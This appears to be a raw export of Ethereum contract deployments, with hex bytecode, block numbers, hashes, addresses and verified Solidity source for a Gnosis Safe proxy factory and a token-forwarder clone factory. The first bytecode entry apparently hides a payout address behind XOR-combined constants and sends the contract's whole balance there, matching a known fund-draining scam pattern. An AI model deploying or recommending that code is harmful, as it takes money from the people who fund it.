6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d716007557f6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b6756008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220076c9c89176f7991adfb9fd068ce080f75bf9ba91f94b907b75b26c785073af064736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220076c9c89176f7991adfb9fd068ce080f75bf9ba91f94b907b75b26c785073af064736f6c63430008070033
1
19,493,290
e3020ccc877bef1c5f3fe4f7975333c0600b489b6a134b0621c8067cff399e8d
83f053ddb923d60aabb3493abaa80b026eee698dd14a45133a268b9dad096bfa
b1ad44aee52275de1bd1cff99731c65c7912673f
a6b71e26c5e0845f74c812102ca7114b6a896ab2
9b8a39fc94945f950ac5831a11d019a77f28862e
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,291
13f132d8cfc85d1f2523d2b9accc2a665f67509eee26cadf7e1f7c8af4f67663
582fcd6e157f0b45a1418ec01a9f1c6369c78a8e88c37ddb38a219d2accfa2cf
77cf8451f88bd7ff5608222d06c1b513fc927071
a6b71e26c5e0845f74c812102ca7114b6a896ab2
e18bb13d3cd14bae8a7224ea58a3fd9db76b2e48
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,292
9caaf85b125583f262953939312df5b3aa955bf5b9a5afe23f3f9637cf3d2bcc
e9741ab3c8cad33e6adf8ca864c0c2c57efe9d4ff823d183edbe360d0574a730
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
e8150ecd62af13899a1edeb5d6c64ffef004562c
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,292
9caaf85b125583f262953939312df5b3aa955bf5b9a5afe23f3f9637cf3d2bcc
fdbd0834357b8768444ddb2006b604db13de0127d83dad8059508804fd595d3e
d2c82f2e5fa236e114a81173e375a73664610998
ffa397285ce46fb78c588a9e993286aac68c37cd
1f9f8126314d5a2db743fad1ddeaf2c9e74c03ba
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,293
7efcd2a5f75110e34b219f9b37bf8a73a3f40370fe9aaa40da474e7c1fcb21f1
8a2c88686d90205cbc0ec7787436a8819c8ed0c68026a914658df9f29b999d6d
8265a51bc94a0cbdd46f157e8789fa556a35df9f
e61ba3f91a0c6489e801c9d587376d8f99b793bf
500dd711caaa1d4fbea3aa3f0c9d2cfdda2b4645
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,293
7efcd2a5f75110e34b219f9b37bf8a73a3f40370fe9aaa40da474e7c1fcb21f1
e480c016ee288ed2b3216d509cb02daa214db62a845a6b8d4e8b1d8854894f7c
44171be52ab9d7a6a693198fd172b2b8edcb8a7b
000000006551c19487814612e58fe06813775758
d3e7a62de1e338a330c9e5f40c4459861d655bbb
3d60ad80600a3d3981f3363d3d373d3d3d363d7355266d75d1a14e4572138116af39863ed6596e7f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000be7cf276b6e25cc677cb373121efe3a943e1bec700000000000000000000000000000000000000000000000000000000000000ae
363d3d373d3d3d363d7355266d75d1a14e4572138116af39863ed6596e7f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000be7cf276b6e25cc677cb373121efe3a943e1bec700000000000000000000000000000000000000000000000000000000000000ae
1
19,493,293
7efcd2a5f75110e34b219f9b37bf8a73a3f40370fe9aaa40da474e7c1fcb21f1
7f96227d52b596d1e9b7a89a94d661ba4dd3b8654ce4db6053b4c19c0f56bfd2
6eaf8a6cc3e8a96924af08e049e52af538a71f28
000000f20032b9e171844b00ea507e11960bd94a
a02e45a45dc6cb24c4c7fdd38102673bea5dc9c0
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
